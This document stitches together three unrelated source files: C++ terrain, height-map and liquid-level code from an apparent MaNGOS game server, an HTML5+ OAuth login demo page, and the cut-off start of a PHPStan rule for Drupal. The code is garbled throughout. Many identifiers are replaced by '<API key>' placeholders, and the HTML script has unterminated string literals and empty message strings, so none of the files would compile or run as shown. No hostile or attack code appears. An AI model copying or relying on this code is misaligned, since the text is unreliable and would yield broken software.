m_gridGetHeight = &GridMap::getHeightFromFloat;
}
}
else
m_gridGetHeight = &GridMap::getHeightFromFlat;
return true;
}
bool GridMap::<API key>(FILE *in, uint32 offset, uint32 /*size*/)
{
GridMapLiquidHeader header;
fseek(in, offset, SEEK_SET);
fread(&header, sizeof(header), 1, in);
if (header.fourcc != *((uint32 const*)(MAP_LIQUID_MAGIC)))
return false;
m_liquidType = header.liquidType;
m_liquid_offX = header.offsetX;
m_liquid_offY = header.offsetY;
m_liquid_width = header.width;
m_liquid_height = header.height;
m_liquidLevel = header.liquidLevel;
if (!(header.flags & MAP_LIQUID_NO_TYPE))
{
m_liquid_type = new uint8 [16*16];
fread(m_liquid_type, sizeof(uint8), 16*16, in);
}
if (!(header.flags & <API key>))
{
m_liquid_map = new float [m_liquid_width*m_liquid_height];
fread(m_liquid_map, sizeof(float), m_liquid_width*m_liquid_height, in);
}
return true;
}
uint16 GridMap::getArea(float x, float y)
{
if (!m_area_map)
return m_gridArea;
x = 16 * (32 - x/SIZE_OF_GRIDS);
y = 16 * (32 - y/SIZE_OF_GRIDS);
int lx = (int)x & 15;
int ly = (int)y & 15;
return m_area_map[lx*16 + ly];
}
float GridMap::getHeightFromFlat(float , float ) const
{
return m_gridHeight;
}
float GridMap::getHeightFromFloat(float x, float y) const
{
if (!m_V8 || !m_V9)
return m_gridHeight;
x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS);
y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS);
int x_int = (int)x;
int y_int = (int)y;
x -= x_int;
y -= y_int;
x_int &= (MAP_RESOLUTION - 1);
y_int &= (MAP_RESOLUTION - 1);
// Height stored as: h5 - its v8 grid, h1-h4 - its v9 grid
// | | \ 1 / | h1 0,0
// | | \ / | h2 0,1
// | | 2 h5 3 | h3 1,0
// | | / \ | h4 1,1
// | | / 4 \ | h5 1/2,1/2
// V Y
// For find height need
// 1 - detect triangle
// 2 - solve linear equation from triangle points
// Calculate coefficients for solve h = a*x + b*y + c
float a,b,c;
// Select triangle:
if (x+y < 1)
{
if (x > y)
{
// 1 triangle (h1, h2, h5 points)
float h1 = m_V9[(x_int )*129 + y_int];
float h2 = m_V9[(x_int+1)*129 + y_int];
float h5 = 2 * m_V8[x_int*128 + y_int];
a = h2-h1;
b = h5-h1-h2;
c = h1;
}
else
{
// 2 triangle (h1, h3, h5 points)
float h1 = m_V9[x_int*129 + y_int ];
float h3 = m_V9[x_int*129 + y_int+1];
float h5 = 2 * m_V8[x_int*128 + y_int];
a = h5 - h1 - h3;
b = h3 - h1;
c = h1;
}
}
else
{
if (x > y)
{
// 3 triangle (h2, h4, h5 points)
float h2 = m_V9[(x_int+1)*129 + y_int ];
float h4 = m_V9[(x_int+1)*129 + y_int+1];
float h5 = 2 * m_V8[x_int*128 + y_int];
a = h2 + h4 - h5;
b = h4 - h2;
c = h5 - h4;
}
else
{
// 4 triangle (h3, h4, h5 points)
float h3 = m_V9[(x_int )*129 + y_int+1];
float h4 = m_V9[(x_int+1)*129 + y_int+1];
float h5 = 2 * m_V8[x_int*128 + y_int];
a = h4 - h3;
b = h3 + h4 - h5;
c = h5 - h4;
}
}
// Calculate height
return a * x + b * y + c;
}
float GridMap::getHeightFromUint8(float x, float y) const
{
if (!m_uint8_V8 || !m_uint8_V9)
return m_gridHeight;
x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS);
y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS);
int x_int = (int)x;
int y_int = (int)y;
x -= x_int;
y -= y_int;
x_int &= (MAP_RESOLUTION - 1);
y_int &= (MAP_RESOLUTION - 1);
int32 a, b, c;
uint8 *V9_h1_ptr = &m_uint8_V9[x_int*128 + x_int + y_int];
if (x+y < 1)
{
if (x > y)
{
// 1 triangle (h1, h2, h5 points)
int32 h1 = V9_h1_ptr[ 0];
int32 h2 = V9_h1_ptr[129];
int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int];
a = h2-h1;
b = h5-h1-h2;
c = h1;
}
else
{
// 2 triangle (h1, h3, h5 points)
int32 h1 = V9_h1_ptr[0];
int32 h3 = V9_h1_ptr[1];
int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int];
a = h5 - h1 - h3;
b = h3 - h1;
c = h1;
}
}
else
{
if (x > y)
{
// 3 triangle (h2, h4, h5 points)
int32 h2 = V9_h1_ptr[129];
int32 h4 = V9_h1_ptr[130];
int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int];
a = h2 + h4 - h5;
b = h4 - h2;
c = h5 - h4;
}
else
{
// 4 triangle (h3, h4, h5 points)
int32 h3 = V9_h1_ptr[ 1];
int32 h4 = V9_h1_ptr[130];
int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int];
a = h4 - h3;
b = h3 + h4 - h5;
c = h5 - h4;
}
}
// Calculate height
return (float)((a * x) + (b * y) + c)*<API key> + m_gridHeight;
}
float GridMap::getHeightFromUint16(float x, float y) const
{
if (!m_uint16_V8 || !m_uint16_V9)
return m_gridHeight;
x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS);
y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS);
int x_int = (int)x;
int y_int = (int)y;
x -= x_int;
y -= y_int;
x_int &= (MAP_RESOLUTION - 1);
y_int &= (MAP_RESOLUTION - 1);
int32 a, b, c;
uint16 *V9_h1_ptr = &m_uint16_V9[x_int*128 + x_int + y_int];
if (x+y < 1)
{
if (x > y)
{
// 1 triangle (h1, h2, h5 points)
int32 h1 = V9_h1_ptr[ 0];
int32 h2 = V9_h1_ptr[129];
int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int];
a = h2-h1;
b = h5-h1-h2;
c = h1;
}
else
{
// 2 triangle (h1, h3, h5 points)
int32 h1 = V9_h1_ptr[0];
int32 h3 = V9_h1_ptr[1];
int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int];
a = h5 - h1 - h3;
b = h3 - h1;
c = h1;
}
}
else
{
if (x > y)
{
// 3 triangle (h2, h4, h5 points)
int32 h2 = V9_h1_ptr[129];
int32 h4 = V9_h1_ptr[130];
int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int];
a = h2 + h4 - h5;
b = h4 - h2;
c = h5 - h4;
}
else
{
// 4 triangle (h3, h4, h5 points)
int32 h3 = V9_h1_ptr[ 1];
int32 h4 = V9_h1_ptr[130];
int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int];
a = h4 - h3;
b = h3 + h4 - h5;
c = h5 - h4;
}
}
// Calculate height
return (float)((a * x) + (b * y) + c)*<API key> + m_gridHeight;
}
float GridMap::getLiquidLevel(float x, float y)
{
if (!m_liquid_map)
return m_liquidLevel;
x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS);
y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS);
int cx_int = ((int)x & (MAP_RESOLUTION-1)) - m_liquid_offY;
int cy_int = ((int)y & (MAP_RESOLUTION-1)) - m_liquid_offX;
if (cx_int < 0 || cx_int >=m_liquid_height)
return <API key>;
if (cy_int < 0 || cy_int >=m_liquid_width )
return <API key>;
return m_liquid_map[cx_int*m_liquid_width + cy_int];
}
uint8 GridMap::getTerrainType(float x, float y)
{
if (!m_liquid_type)
return (uint8)m_liquidType;
x = 16 * (32 - x/SIZE_OF_GRIDS);
y = 16 * (32 - y/SIZE_OF_GRIDS);
int lx = (int)x & 15;
int ly = (int)y & 15;
return m_liquid_type[lx*16 + ly];
}
// Get water state on map
GridMapLiquidStatus GridMap::getLiquidStatus(float x, float y, float z, uint8 ReqLiquidType, GridMapLiquidData *data)
{
// Check water type (if no water return)
if (!m_liquid_type && !m_liquidType)
return LIQUID_MAP_NO_WATER;
// Get cell
float cx = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS);
float cy = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS);
int x_int = (int)cx & (MAP_RESOLUTION-1);
int y_int = (int)cy & (MAP_RESOLUTION-1);
// Check water type in cell
uint8 type = m_liquid_type ? m_liquid_type[(x_int>>3)*16 + (y_int>>3)] : m_liquidType;
if (type == 0)
return LIQUID_MAP_NO_WATER;
// Check req liquid type mask
if (ReqLiquidType && !(ReqLiquidType&type))
return LIQUID_MAP_NO_WATER;
// Check water level:
// Check water height map
int lx_int = x_int - m_liquid_offY;
if (lx_int < 0 || lx_int >=m_liquid_height)
return LIQUID_MAP_NO_WATER;
int ly_int = y_int - m_liquid_offX;
if (ly_int < 0 || ly_int >=m_liquid_width )
return LIQUID_MAP_NO_WATER;
// Get water level
float liquid_level = m_liquid_map ? m_liquid_map[lx_int*m_liquid_width + ly_int] : m_liquidLevel;
// Get ground level (sub 0.2 for fix some errors)
float ground_level = getHeight(x, y);
// Check water level and ground level
if (liquid_level < ground_level || z < ground_level - 2)
return LIQUID_MAP_NO_WATER;
// All ok in water -> store data
if (data)
{
data->type = type;
data->level = liquid_level;
data->depth_level = ground_level;
}
// For speed check as int values
int delta = int((liquid_level - z) * 10);
// Get position delta
if (delta > 20) // Under water
return <API key>;
if (delta > 0 ) // In water
return LIQUID_MAP_IN_WATER;
if (delta > -1) // Walk on water
return <API key>;
// Above water
return <API key>;
}
bool GridMap::ExistMap(uint32 mapid,int gx,int gy)
{
int len = sWorld.GetDataPath().length()+strlen("maps/%03u%02u%02u.map")+1;
char* tmp = new char[len];
snprintf(tmp, len, (char *)(sWorld.GetDataPath()+"maps/%03u%02u%02u.map").c_str(),mapid,gx,gy);
FILE *pf=fopen(tmp,"rb");
if(!pf)
{
sLog.outError("Check existing of map file '%s': not exist!",tmp);
delete[] tmp;
return false;
}
GridMapFileHeader header;
fread(&header, sizeof(header), 1, pf);
if (header.mapMagic != *((uint32 const*)(MAP_MAGIC)) ||
header.versionMagic != *((uint32 const*)(MAP_VERSION_MAGIC)))
{
sLog.outError("Map file '%s' is non-compatible version (outdated?). Please, create new using ad.exe program.",tmp);
delete [] tmp;
fclose(pf); //close file before return
return false;
}
delete [] tmp;
fclose(pf);
return true;
}
bool GridMap::ExistVMap(uint32 mapid,int gx,int gy)
{
if(VMAP::IVMapManager* vmgr = VMAP::VMapFactory::<API key>())
{
if(vmgr->isMapLoadingEnabled())
{
// x and y are swapped !! => fixed now
bool exists = vmgr->existsMap((sWorld.GetDataPath()+ "vmaps").c_str(), mapid, gx,gy);
if(!exists)
{
std::string name = vmgr->getDirFileName(mapid,gx,gy);
sLog.outError("VMap file '%s' is missing or point to wrong version vmap file, redo vmaps with latest vmap_assembler.exe program", (sWorld.GetDataPath()+"vmaps/"+name).c_str());
return false;
}
}
}
return true;
}
TerrainInfo::TerrainInfo(uint32 mapid) : m_mapId(mapid)
{
for (int k = 0; k < MAX_NUMBER_OF_GRIDS; ++k)
{
for (int i = 0; i < MAX_NUMBER_OF_GRIDS; ++i)
{
m_GridMaps[i][k] = NULL;
m_GridRef[i][k] = 0;
}
}
//clean up GridMap objects every minute
const uint32 iCleanUpInterval = 60;
//schedule start randlomly
const uint32 iRandomStart = urand(20, 40);
i_timer.SetInterval(iCleanUpInterval * 1000);
i_timer.SetCurrent(iRandomStart * 1000);
}
TerrainInfo::~TerrainInfo()
{
for (int k = 0; k < MAX_NUMBER_OF_GRIDS; ++k)
for (int i = 0; i < MAX_NUMBER_OF_GRIDS; ++i)
delete m_GridMaps[i][k];
VMAP::VMapFactory::<API key>()->unloadMap(m_mapId);
}
GridMap * TerrainInfo::Load(const uint32 x, const uint32 y)
{
MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS);
MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS);
//reference grid as a first step
RefGrid(x, y);
//quick check if GridMap already loaded
GridMap * pMap = m_GridMaps[x][y];
if(!pMap)
pMap = LoadMapAndVMap(x, y);
return pMap;
}
//schedule lazy GridMap object cleanup
void TerrainInfo::Unload(const uint32 x, const uint32 y)
{
MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS);
MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS);
if(m_GridMaps[x][y])
{
//decrease grid reference count...
if(UnrefGrid(x, y) == 0)
{
//TODO: add your additional logic here
}
}
}
//call this method only
void TerrainInfo::CleanUpGrids(const uint32 diff)
{
i_timer.Update(diff);
if( !i_timer.Passed() )
return;
for (int y = 0; y < MAX_NUMBER_OF_GRIDS; ++y)
{
for (int x = 0; x < MAX_NUMBER_OF_GRIDS; ++x)
{
const int16& iRef = m_GridRef[x][y];
GridMap * pMap = m_GridMaps[x][y];
//delete those GridMap objects which have refcount = 0
if(pMap && iRef == 0 )
{
m_GridMaps[x][y] = NULL;
//delete grid data if reference count == 0
pMap->unloadData();
delete pMap;
//unload VMAPS...
VMAP::VMapFactory::<API key>()->unloadMap(m_mapId, x, y);
}
}
}
i_timer.Reset();
}
int TerrainInfo::RefGrid(const uint32& x, const uint32& y)
{
MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS);
MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS);
LOCK_GUARD _lock(m_refMutex);
return (m_GridRef[x][y] += 1);
}
int TerrainInfo::UnrefGrid(const uint32& x, const uint32& y)
{
MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS);
MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS);
int16& iRef = m_GridRef[x][y];
LOCK_GUARD _lock(m_refMutex);
if(iRef > 0)
return (iRef -= 1);
return 0;
}
float TerrainInfo::GetHeight(float x, float y, float z, bool pUseVmaps, float maxSearchDist) const
{
// find raw .map surface under Z coordinates
float mapHeight;
float z2 = z + 2.f;
if (GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
float _mapheight = gmap->getHeight(x,y);
// look from a bit higher pos to find the floor, ignore under surface case
if (z2 > _mapheight)
mapHeight = _mapheight;
else
mapHeight = <API key>;
}
else
mapHeight = <API key>;
float vmapHeight;
if (pUseVmaps)
{
VMAP::IVMapManager* vmgr = VMAP::VMapFactory::<API key>();
if (vmgr->isHeightCalcEnabled())
{
// if mapHeight has been found search vmap height at least until mapHeight point
// this prevent case when original Z "too high above ground and vmap height search fail"
// this will not affect most normal cases (no map in instance, or stay at ground at continent)
if (mapHeight > INVALID_HEIGHT && z2 - mapHeight > maxSearchDist)
maxSearchDist = z2 - mapHeight + 1.0f; // 1.0 make sure that we not fail for case when map height near but above for vamp height
// look from a bit higher pos to find the floor
vmapHeight = vmgr->getHeight(GetMapId(), x, y, z2, maxSearchDist);
}
else
vmapHeight = <API key>;
}
else
vmapHeight = <API key>;
// mapHeight set for any above raw ground Z or <= INVALID_HEIGHT
// vmapheight set for any under Z value or <= INVALID_HEIGHT
if (vmapHeight > INVALID_HEIGHT)
{
if (mapHeight > INVALID_HEIGHT)
{
// we have mapheight and vmapheight and must select more appropriate
// we are already under the surface or vmap height above map heigt
// or if the distance of the vmap height is less the land height distance
if (z < mapHeight || vmapHeight > mapHeight || fabs(mapHeight-z) > fabs(vmapHeight-z))
return vmapHeight;
else
return mapHeight; // better use .map surface height
}
else
return vmapHeight; // we have only vmapHeight (if have)
}
return mapHeight;
}
inline bool IsOutdoorWMO(uint32 mogpFlags)
{
return mogpFlags & 0x8008;
}
bool TerrainInfo::IsOutdoors(float x, float y, float z) const
{
uint32 mogpFlags;
int32 adtId, rootId, groupId;
// no wmo found? -> outside by default
if(!GetAreaInfo(x, y, z, mogpFlags, adtId, rootId, groupId))
return true;
return IsOutdoorWMO(mogpFlags);
}
bool TerrainInfo::GetAreaInfo(float x, float y, float z, uint32 &flags, int32 &adtId, int32 &rootId, int32 &groupId) const
{
float vmap_z = z;
VMAP::IVMapManager* vmgr = VMAP::VMapFactory::<API key>();
if (vmgr->getAreaInfo(GetMapId(), x, y, vmap_z, flags, adtId, rootId, groupId))
{
// check if there's terrain between player height and object height
if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
float _mapheight = gmap->getHeight(x,y);
// z + 2.0f condition taken from GetHeight(), not sure if it's such a great choice...
if(z + 2.0f > _mapheight && _mapheight > vmap_z)
return false;
}
return true;
}
return false;
}
uint16 TerrainInfo::GetAreaFlag(float x, float y, float z, bool *isOutdoors) const
{
uint32 mogpFlags;
int32 adtId, rootId, groupId;
WMOAreaTableEntry const* wmoEntry = 0;
AreaTableEntry const* atEntry = 0;
bool haveAreaInfo = false;
if(GetAreaInfo(x, y, z, mogpFlags, adtId, rootId, groupId))
{
haveAreaInfo = true;
wmoEntry = <API key>(rootId, adtId, groupId);
if(wmoEntry)
atEntry = <API key>(wmoEntry->areaId);
}
uint16 areaflag;
if (atEntry)
areaflag = atEntry->exploreFlag;
else
{
if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y))
areaflag = gmap->getArea(x, y);
// this used while not all *.map files generated (instances)
else
areaflag = GetAreaFlagByMapId(GetMapId());
}
if (isOutdoors)
{
if (haveAreaInfo)
*isOutdoors = IsOutdoorWMO(mogpFlags);
else
*isOutdoors = true;
}
return areaflag;
}
uint8 TerrainInfo::GetTerrainType(float x, float y ) const
{
if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y))
return gmap->getTerrainType(x, y);
else
return 0;
}
uint32 TerrainInfo::GetAreaId(float x, float y, float z) const
{
return TerrainManager::GetAreaIdByAreaFlag(GetAreaFlag(x,y,z),m_mapId);
}
uint32 TerrainInfo::GetZoneId(float x, float y, float z) const
{
return TerrainManager::GetZoneIdByAreaFlag(GetAreaFlag(x,y,z),m_mapId);
}
void TerrainInfo::GetZoneAndAreaId(uint32& zoneid, uint32& areaid, float x, float y, float z) const
{
TerrainManager::<API key>(zoneid,areaid,GetAreaFlag(x,y,z),m_mapId);
}
GridMapLiquidStatus TerrainInfo::getLiquidStatus(float x, float y, float z, uint8 ReqLiquidType, GridMapLiquidData *data) const
{
GridMapLiquidStatus result = LIQUID_MAP_NO_WATER;
VMAP::IVMapManager* vmgr = VMAP::VMapFactory::<API key>();
float liquid_level, ground_level = <API key>;
uint32 liquid_type;
if (vmgr->GetLiquidLevel(GetMapId(), x, y, z, ReqLiquidType, liquid_level, ground_level, liquid_type))
{
DEBUG_LOG("getLiquidStatus(): vmap liquid level: %f ground: %f type: %u", liquid_level, ground_level, liquid_type);
// Check water level and ground level
if (liquid_level > ground_level && z > ground_level - 2)
{
// All ok in water -> store data
if (data)
{
data->type = liquid_type;
data->level = liquid_level;
data->depth_level = ground_level;
}
// For speed check as int values
int delta = int((liquid_level - z) * 10);
// Get position delta
if (delta > 20) // Under water
return <API key>;
if (delta > 0 ) // In water
return LIQUID_MAP_IN_WATER;
if (delta > -1) // Walk on water
return <API key>;
result = <API key>;
}
}
if(GridMap* gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
GridMapLiquidData map_data;
GridMapLiquidStatus map_result = gmap->getLiquidStatus(x, y, z, ReqLiquidType, &map_data);
// Not override <API key> with LIQUID_MAP_NO_WATER:
if (map_result != LIQUID_MAP_NO_WATER && (map_data.level > ground_level))
{
if (data)
*data = map_data;
return map_result;
}
}
return result;
}
bool TerrainInfo::IsInWater(float x, float y, float pZ, GridMapLiquidData *data) const
{
// Check surface in x, y point for liquid
if (const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
GridMapLiquidData liquid_status;
GridMapLiquidData *liquid_ptr = data ? data : &liquid_status;
if (getLiquidStatus(x, y, pZ, MAP_ALL_LIQUIDS, liquid_ptr))
{
//if (liquid_prt->level - liquid_prt->depth_level > 2) //???
return true;
}
}
return false;
}
bool TerrainInfo::IsUnderWater(float x, float y, float z) const
{
if (const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
if (getLiquidStatus(x, y, z, <API key>|<API key>)&<API key>)
return true;
}
return false;
}
/**
* Function find higher form water or ground height for current floor
*
* @param x, y, z Coordinates original point at floor level
*
* @param pGround optional arg for retrun calculated by function work ground height, it let avoid in caller code recalculate height for point if it need
*
* @param swim z coordinate can be calculated for select above/at or under z coordinate (for fly or swim/walking by bottom)
* in last cases for in water returned under water height for avoid client set swimming unit as saty at water.
*
* @return calculated z coordinate
*/
float TerrainInfo::<API key>(float x, float y, float z, float* pGround /*= NULL*/, bool swim /*= false*/) const
{
if (const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
// we need ground level (including grid height version) for proper return water level in point
float ground_z = GetHeight(x, y, z, true, <API key>);
if (pGround)
*pGround = ground_z + 0.05f;
GridMapLiquidData liquid_status;
GridMapLiquidStatus res = getLiquidStatus(x, y, ground_z, MAP_ALL_LIQUIDS, &liquid_status);
return res ? ( swim ? liquid_status.level - 2.0f : liquid_status.level) : ground_z + 0.05f;
}
return <API key>;
}
GridMap * TerrainInfo::GetGrid( const float x, const float y )
{
// half opt method
int gx=(int)(32-x/SIZE_OF_GRIDS); //grid x
int gy=(int)(32-y/SIZE_OF_GRIDS); //grid y
//quick check if GridMap already loaded
GridMap * pMap = m_GridMaps[gx][gy];
if(!pMap)
pMap = LoadMapAndVMap(gx, gy);
return pMap;
}
GridMap * TerrainInfo::LoadMapAndVMap( const uint32 x, const uint32 y )
{
//double checked lock pattern
if(!m_GridMaps[x][y])
{
LOCK_GUARD lock(m_mutex);
if(!m_GridMaps[x][y])
{
GridMap * map = new GridMap();
// map file name
char *tmp=NULL;
int len = sWorld.GetDataPath().length()+strlen("maps/%03u%02u%02u.map")+1;
tmp = new char[len];
snprintf(tmp, len, (char *)(sWorld.GetDataPath()+"maps/%03u%02u%02u.map").c_str(),m_mapId, x, y);
sLog.outDetail("Loading map %s",tmp);
if(!map->loadData(tmp))
{
sLog.outError("Error load map file: \n %s\n", tmp);
//ASSERT(false);
}
delete [] tmp;
m_GridMaps[x][y] = map;
//load VMAPs for current map/grid...
const MapEntry * i_mapEntry = sMapStore.LookupEntry(m_mapId);
const char* mapName = i_mapEntry ? i_mapEntry->name[sWorld.GetDefaultDbcLocale()] : "UNNAMEDMAP\x0";
int vmapLoadResult = VMAP::VMapFactory::<API key>()->loadMap((sWorld.GetDataPath()+ "vmaps").c_str(), m_mapId, x, y);
switch(vmapLoadResult)
{
case VMAP::VMAP_LOAD_RESULT_OK:
sLog.outDetail("VMAP loaded name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y);
break;
case VMAP::<API key>:
sLog.outDetail("Could not load VMAP name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y);
break;
case VMAP::<API key>:
DEBUG_LOG("Ignored VMAP name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y);
break;
}
}
}
return m_GridMaps[x][y];
}
float TerrainInfo::GetWaterLevel(float x, float y, float z, float* pGround /*= NULL*/) const
{
if (const_cast<TerrainInfo*>(this)->GetGrid(x, y))
{
// we need ground level (including grid height version) for proper return water level in point
float ground_z = GetHeight(x, y, z, true, <API key>);
if (pGround)
*pGround = ground_z;
GridMapLiquidData liquid_status;
GridMapLiquidStatus res = getLiquidStatus(x, y, ground_z, MAP_ALL_LIQUIDS, &liquid_status);
if (!res)
return <API key>;
return liquid_status.level;
}
return <API key>;
}
#define CLASS_LOCK MaNGOS::ClassLevelLockable<TerrainManager, ACE_Thread_Mutex>
<API key>(TerrainManager, CLASS_LOCK);
<API key>(TerrainManager, ACE_Thread_Mutex);
TerrainManager::TerrainManager()
{
}
TerrainManager::~TerrainManager()
{
for (TerrainDataMap::iterator it = i_TerrainMap.begin(); it != i_TerrainMap.end(); ++it)
delete it->second;
}
TerrainInfo * TerrainManager::LoadTerrain(const uint32 mapId)
{
Guard _guard(*this);
TerrainInfo * ptr = NULL;
TerrainDataMap::const_iterator iter = i_TerrainMap.find(mapId);
if(iter == i_TerrainMap.end())
{
ptr = new TerrainInfo(mapId);
i_TerrainMap[mapId] = ptr;
}
else
ptr = (*iter).second;
return ptr;
}
void TerrainManager::UnloadTerrain(const uint32 mapId)
{
if(sWorld.getConfig(<API key>) == 0)
return;
Guard _guard(*this);
TerrainDataMap::iterator iter = i_TerrainMap.find(mapId);
if(iter != i_TerrainMap.end())
{
TerrainInfo * ptr = (*iter).second;
//lets check if this object can be actually freed
if(ptr->IsReferenced() == false)
{
i_TerrainMap.erase(iter);
delete ptr;
}
}
}
void TerrainManager::Update(const uint32 diff)
{
//global garbage collection for GridMap objects and VMaps
for (TerrainDataMap::iterator iter = i_TerrainMap.begin(); iter != i_TerrainMap.end(); ++iter)
iter->second->CleanUpGrids(diff);
}
void TerrainManager::UnloadAll()
{
for (TerrainDataMap::iterator it = i_TerrainMap.begin(); it != i_TerrainMap.end(); ++it)
delete it->second;
i_TerrainMap.clear();
}
uint32 TerrainManager::GetAreaIdByAreaFlag(uint16 areaflag,uint32 map_id)
{
AreaTableEntry const *entry = <API key>(areaflag,map_id);
if (entry)
return entry->ID;
else
return 0;
}
uint32 TerrainManager::GetZoneIdByAreaFlag(uint16 areaflag,uint32 map_id)
{
AreaTableEntry const *entry = <API key>(areaflag,map_id);
if( entry )
return ( entry->zone != 0 ) ? entry->zone : entry->ID;
else
return 0;
}
void TerrainManager::<API key>(uint32& zoneid, uint32& areaid, uint16 areaflag,uint32 map_id)
{
AreaTableEntry const *entry = <API key>(areaflag,map_id);
areaid = entry ? entry->ID : 0;
zoneid = entry ? (( entry->zone != 0 ) ? entry->zone : entry->ID) : 0;
}
|
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta name="HandheldFriendly" content="true"/>
<!--<meta name="MobileOptimized" content="320"/>-->
<title>Hello H5+</title>
<script type="text/javascript" src="../js/common.js"></script>
<script type="text/javascript">
var auths={};
function plusReady(){
plus.oauth.getServices(function(services){
var content=document.getElementById('dcontent');
var info=document.getElementById("info");
var txt="";
for(var i in services){
var service=services[i];
console.log(service.id+": "+service.authResult+", "+service.userInfo);
auths[service.id]=service;
txt += "id:"+service.id+", ";
txt += "description:"+service.description+", ";
var de=document.createElement('div');
de.setAttribute('class','button');
de.setAttribute('onclick','login(this.id)');
de.id=service.id;
de.innerText=service.description+"";
oauth.appendChild(de);
}
info.innerText=txt;
},function(e){
outLine(""+e.message);
});
}
document.addEventListener('plusready',plusReady,false);
function login(id){
outSet("
var auth=auths[id];
if(auth){
var w=null;
if(plus.os.name=="Android"){
w=plus.nativeUI.showWaiting();
}
document.addEventListener("pause",function(){
setTimeout(function(){
w&&w.close();w=null;
},2000);
}, false );
auth.login(function(){
w&&w.close();w=null;
outLine("");
outLine(JSON.stringify(auth.authResult));
userinfo(auth);
},function(e){
w&&w.close();w=null;
outLine("");
outLine("["+e.code+"]"+e.message);
plus.nativeUI.alert("(OAuth)http://www.html5plus.org/#specification#/specification/OAuth.html",null,"["+e.code+"]"+e.message);
});
}else{
outLine("");
plus.nativeUI.alert("",null,"");
}
}
function userinfo(a){
outLine("
a.getUserInfo(function(){
outLine("");
outLine(JSON.stringify(a.userInfo));
var nickname=a.userInfo.nickname||a.userInfo.name;
plus.nativeUI.alert("“"+nickname+"”");
},function(e){
outLine("");
outLine("["+e.code+"]"+e.message);
plus.nativeUI.alert("",null,"");
});
}
function logoutAll(){
outSet("
for(var i in auths){
logout(auths[i]);
}
}
function logout(auth){
auth.logout(function(){
outLine("\""+auth.description+"\"");
},function(e){
outLine("\""+auth.description+"\""+e.message);
});
}
</script>
<link rel="stylesheet" href="../css/common.css" type="text/css" charset="utf-8"/>
<style type="text/css">
#total{
-webkit-user-select:text;
text-align:right;
padding:0 1em;
border: 0px;
border-bottom:1px solid #ECB100;
border-radius: 0;
font-size:16px;
width:30%;
outline:none;
}
</style>
</head>
<body>
<header id="header">
<div class="nvbt iback" onclick="back()"></div>
<div class="nvtt">OAuth</div>
<div class="nvbt idoc" onclick="openDoc('OAuth Document','/doc/oauth.html')"></div>
</header>
<div id="dcontent" class="dcontent">
<br/>
<p id="info" style="padding: 0 1em;text-align:left;"></p>
<div style="padding: 0.5em 1em;"><hr color="#EEE"/></div>
<br/>
<div id="oauth"></div>
<br/>
<div class="button button-waring" onclick="logoutAll()"></div>
</div>
<div id="output">
OAuth
</div>
</body>
<script type="text/javascript" src="../js/immersed.js" ></script>
</html>
|
<?php declare(strict_types=1);
namespace mglaman\PHPStanDrupal\Rules\Drupal;
use Drupal\Core\Extension\<API key>;
use PhpParser\Node;
use PHPStan\Analyser\Scope;
use PHPStan\Rules\RuleErrorBuilder;
use PHPStan\<API key>;
use PHPStan\Type\ObjectType;
class LoadIncludes extends LoadIncludeBase
{
public function getNodeType(): string
{
return Node\Expr\MethodCall::class;
}
public function processNode(Node $node, Scope $scope): array
{
assert($node instanceof Node\Expr\MethodCall);
if (!$node->name instanceof Node\Identifier) {
return [];
}
$method_name = $node->name->toString();
if ($method_name !== 'loadInclude') {
return [];
}
$args = $node->getArgs();
if (\count($args) < 2) {
return [];
}
$variable = $node->var;
if (!$variable instanceof Node\Expr\Variable) {
return [];
}
$var_name = $variable->name;
if (!is_string($var_name)) {
throw new <API key>(sprintf('Expected string for variable in %s, please open an issue on GitHub https://github.com/mglaman/phpstan-drupal/issues', static::class));
}
$<API key> = new ObjectType(<API key>::class);
$variableType = $scope->getVariableType($var_name);
if (!$variableType->isSuperTypeOf($<API key>)->yes()) {
return [];
}
try {
// Try to invoke it similarly as the module handler itself.
[$moduleName, $filename] = $this-><API key>($args[0], $args[1], $args[2] ?? null, $scope);
$module = $this->extensionMap->getModule($moduleName);
if ($module === null) {
return [
RuleErrorBuilder::message(sprintf(
'File %s could not be loaded from %s::loadInclude because %s module is not found.',
$filename,
<API key>::class,
$moduleName
))
->line($node->getLine())
->build()
];
}
